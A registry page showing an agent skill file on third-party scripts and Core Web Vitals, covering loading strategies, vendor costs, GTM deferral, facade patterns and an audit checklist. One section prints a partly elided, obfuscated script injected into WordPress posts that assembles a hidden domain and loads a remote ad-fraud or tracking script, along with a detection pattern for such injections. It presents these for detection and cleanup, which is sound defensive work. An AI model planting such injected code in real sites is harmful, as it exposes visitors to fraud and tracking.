agentleFS
carlosuhartcarlosuhart/seo-audit-skills/skills/third-party-scripts/SKILL.md

third-party-scripts

Skill6 starsChanged 12 days agoMITView on GitHub

Third-party scripts and Core Web Vitals: loading strategies (async, defer, module), impact by vendor, GTM deferral, footprint audits, removing unused scripts and spotting scripts injected into post content. Use for INP, TBT or LCP caused by third-party JavaScript.

The file

We split this skill into the rules it gives an agent

10 rules. About 0 are common, 10 are distinctive, and 0 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈10

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Use for: analytics, tracking, ads — scripts that do not depend on the DOM

    line 29
  2. Distinctive:

    Use for: scripts that need DOM access but are not critical path

    line 40
  3. Distinctive:

    Use for scripts tied to user interaction (chat widgets, video players, complex forms) that do not need to load on page start.

    line 71
  4. Distinctive:

    Do not use both Clarity and Hotjar simultaneously — they do the same thing.

    line 104
  5. Distinctive:

    If the map is below the fold, this is pure waste on initial load.

    line 158
  6. Distinctive:

    Check "Last Edited" column for tags not touched in 6+ months

    line 231
  7. Distinctive:

    Check firing frequency in Preview Mode — tags that never fire can be paused

    line 232
  8. Distinctive:

    Verify with the client/team that the script is truly unused (check business requirements)

    line 290
  9. Distinctive:

    Remove from GTM container or theme (do not just pause — paused tags still add container size)

    line 291
  10. Distinctive:

    Test in GTM Preview that no events break

    line 292

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Third-Party Scripts — Performance & SEO

Third-party scripts are the most common uncontrolled variable in CWV. They execute on the client's main thread, consume bandwidth, and can independently cause LCP, INP, and TBT failures.


Script loading strategies

async

<script async src="https://example.com/script.js"></script>
  • Downloads in parallel with HTML parsing
  • Executes as soon as download completes (pauses HTML parsing)
  • Order not guaranteed when multiple async scripts present
  • Use for: analytics, tracking, ads — scripts that do not depend on the DOM

defer

<script defer src="https://example.com/script.js"></script>
  • Downloads in parallel with HTML parsing
  • Executes after HTML parsing is complete, before DOMContentLoaded
  • Order guaranteed (executes in order of appearance)
  • Use for: scripts that need DOM access but are not critical path

Comparison

asyncdefernone (blocking)
DownloadParallelParallelBlocks parsing
ExecuteOn download completeAfter HTML parsedOn encounter
OrderNot guaranteedGuaranteedGuaranteed
Blocks HTML parsingYes (during execution)NoYes
Best forAnalytics, adsDOM-dependent non-criticalCritical scripts

module

<script type="module" src="script.js"></script>

Module scripts are deferred by default. They also support static imports and execute in strict mode. Use for modern ES modules.

Dynamic import (lazy loading)

// Load script only when needed
button.addEventListener('click', async () => {
  const { initChat } = await import('./chat-widget.js');
  initChat();
});

Use for scripts tied to user interaction (chat widgets, video players, complex forms) that do not need to load on page start.


CWV impact by vendor category

Analytics (GA4, Matomo, Plausible)

VendorTypical main thread costNotes
GA4 via gtag.js50-150msLower than UA
GA4 via GTM80-200msGTM container overhead added
Matomo30-80msSelf-hosted, no third-party DNS
Plausible< 5msLightweight by design

Impact: Primarily TBT and INP. Rarely causes LCP directly. Fix: Load via GTM with DOM Ready or Window Loaded trigger instead of Page View for non-critical event tracking.

Advertising (Google Ads, Meta Pixel, MSCLK)

VendorMain thread costNotes
Google Ads gtag100-300msRequired for conversion tracking
Meta Pixel100-400msLoads multiple resources
Microsoft Clarity50-200msSession recording, high DOM mutation cost
Hotjar150-500msSession recording, mousemove tracking = high INP cost

Impact: INP degradation is the primary risk. Hotjar and Clarity record mouse movements, which adds a persistent main thread cost on every user interaction.

Fix: Load via GTM. Configure triggers to fire after Window Loaded. Do not use both Clarity and Hotjar simultaneously — they do the same thing.

Chat widgets (Intercom, Drift, Tidio, Crisp)

Chat widgets are among the worst CWV offenders:

  • Load 2-5 additional scripts from their own CDN
  • Inject persistent DOM nodes that trigger style recalculation on scroll
  • Often load immediately on Page View even if the user never opens the chat

Fix: Lazy-load chat widget after user interaction or after a delay:

// Load chat after 5 seconds of inactivity
setTimeout(function() {
  window.Tidio && window.Tidio.init();
  // or dynamically inject the script tag here
}, 5000);

Or load only when the user scrolls to the chat widget area using Intersection Observer.

Fonts (Google Fonts, Adobe Fonts)

External font loading delays text rendering (LCP if text is the LCP element) and causes FOUT (Flash of Unstyled Text) if font-display: swap is not set.

Google Fonts — preconnect:

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=...&display=swap">

Better fix — self-host fonts:

<style>
  @font-face {
    font-family: 'Open Sans';
    src: url('/fonts/open-sans.woff2') format('woff2');
    font-display: swap;
    font-weight: 400;
    font-style: normal;
  }
</style>

Self-hosted fonts eliminate the third-party DNS lookup and allow preloading:

<link rel="preload" as="font" href="/fonts/open-sans.woff2"
      type="font/woff2" crossorigin>

Maps (Google Maps, Mapbox)

Google Maps embeds load a large JS library (~300KB) plus map tiles. If the map is below the fold, this is pure waste on initial load.

Fix — facade pattern:

<!-- Show a static map image; load interactive map on click -->
<div id="map-placeholder" style="cursor:pointer">
  <img src="/images/map-preview.jpg" alt="Location map" loading="lazy"
       onclick="loadGoogleMaps()" width="600" height="400">
</div>

<script>
function loadGoogleMaps() {
  const script = document.createElement('script');
  script.src = 'https://maps.googleapis.com/maps/api/js?key=KEY&callback=initMap';
  document.head.appendChild(script);
  document.getElementById('map-placeholder').remove();
}
</script>

Video embeds (YouTube, Vimeo)

Same pattern as maps: the YouTube player loads ~500KB of JS immediately.

Fix — YouTube lite embed (facade pattern):

<!-- lite-youtube-embed or youtube-nocookie.com -->
<lite-youtube videoid="VIDEO_ID"></lite-youtube>

Or use youtube-nocookie.com embed and load iframe only on click.


Auditing the third-party footprint

Via Chrome DevTools

  1. Open page in incognito (eliminates browser extensions)
  2. DevTools > Network tab > reload
  3. Filter by domain: click "All" then sort by Domain column
  4. Third-party = any domain that is not the site's own domain

Look for:

  • Scripts from unknown domains
  • Large JS files from marketing vendors
  • Multiple scripts from the same vendor (often misconfiguration)

Via Screaming Frog

SF > Reports > Source Code > Custom Search for src="https:// — exports all external script URLs, which can be grouped by domain.

Via PageSpeed Insights

PSI > "Reduce the impact of third-party code" diagnostic. Shows: vendor, blocking time, and main thread usage per third-party.

Identifying unused scripts

  1. Chrome DevTools > Coverage tab (Ctrl+Shift+P > "Coverage")
  2. Reload the page
  3. Scripts with >70% unused bytes are candidates for removal or conditional loading

GTM-based deferral strategies

GTM is a double-edged tool: it makes it easy to add scripts, and easy to accumulate scripts that no one remembers adding.

GTM tag audit

  1. GTM container > Tags tab
  2. Check "Last Edited" column for tags not touched in 6+ months
  3. Check firing frequency in Preview Mode — tags that never fire can be paused

Common tag bloat:

  • Old A/B testing scripts (Optimize is deprecated — remove)
  • Duplicate GA4 tags (one configured via GTM, another via gtag snippet in theme)
  • Pixel for a campaign that ended months ago

Deferral via trigger optimization

Script typeRecommended trigger
GA4 page viewInitialization - All Pages
GA4 eventsDOM Ready (for scroll, click)
Facebook PixelDOM Ready
Remarketing tagsWindow Loaded
Chat widgetCustom timer (5000ms) or scroll depth
Heatmap toolsWindow Loaded

Scripts on "Window Loaded" execute after the page is visually complete → zero impact on LCP or FCP.

Tag sequencing in GTM

For scripts that must load in order (e.g., a custom dataLayer push before a GA4 event): GTM > Tag > Advanced Settings > Tag Sequencing > "Fire a tag before [tag name] fires"

This guarantees execution order without relying on trigger timing assumptions.


Scripts injected into post content

A third-party footprint audit usually inventories scripts in the theme, plugins and tag manager. It misses scripts stored inside post_content, which only load on the affected posts. Real pattern found on a WordPress site:

(function(){
  q=document.createElement("script"); q_=("us")+("ta"); q_+="t"+("."); q_+=("in");
  ...
  q.src="https://"+q_+qu; document.body.appendChild(q);
})();

The domain is built in pieces so a plain text search for it finds nothing. It loads an external tracking or ad-fraud script on every visit to that post.

Detection: scan raw content (context=edit via REST, or the database) for <script> blocks that are not JSON-LD and contain createElement, appendChild, eval(, atob(, fromCharCode or document.write. Exclude the site's own widgets by context.

Fix: remove the whole <script> block, treat it as a security finding (how did it get in: compromised account, plugin, copied content?) and search options and widgets for the same pattern. See wordpress-hidden-errors (pattern C7).

Removing unused scripts

  1. Identify unused scripts via Coverage tab or GTM audit
  2. Verify with the client/team that the script is truly unused (check business requirements)
  3. Remove from GTM container or theme (do not just pause — paused tags still add container size)
  4. Test in GTM Preview that no events break
  5. Publish container
  6. Verify PSI improvement

Audit checklist

CRITICAL (direct CWV impact)
[ ] No render-blocking scripts in <head> without async or defer
[ ] LCP element not delayed by third-party script execution
[ ] No duplicate analytics tags (GTM + inline gtag.js simultaneously)

HIGH (INP and TBT)
[ ] Chat widget not loading on Page View (should load after interaction or delay)
[ ] Hotjar/Clarity not running simultaneously
[ ] Total third-party blocking time < 200ms (PSI "Reduce third-party code")
[ ] No scripts loading > 300KB uncompressed from third-party domains

MEDIUM (optimization)
[ ] GTM tag audit: no tags unused for 6+ months
[ ] Remarketing and ad tags on Window Loaded trigger (not Page View)
[ ] Google Fonts self-hosted or with preconnect + display=swap
[ ] Maps and video embeds use facade pattern (no immediate load)
[ ] PSI "Reduce the impact of third-party code": < 500ms total

LOW (maintenance)
[ ] GTM container size < 200KB (minified)
[ ] No deprecated scripts (Google Optimize, UA analytics)
[ ] Script inventory documented (what runs and why)
[ ] Coverage tab: no scripts with > 80% unused bytes on initial load

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.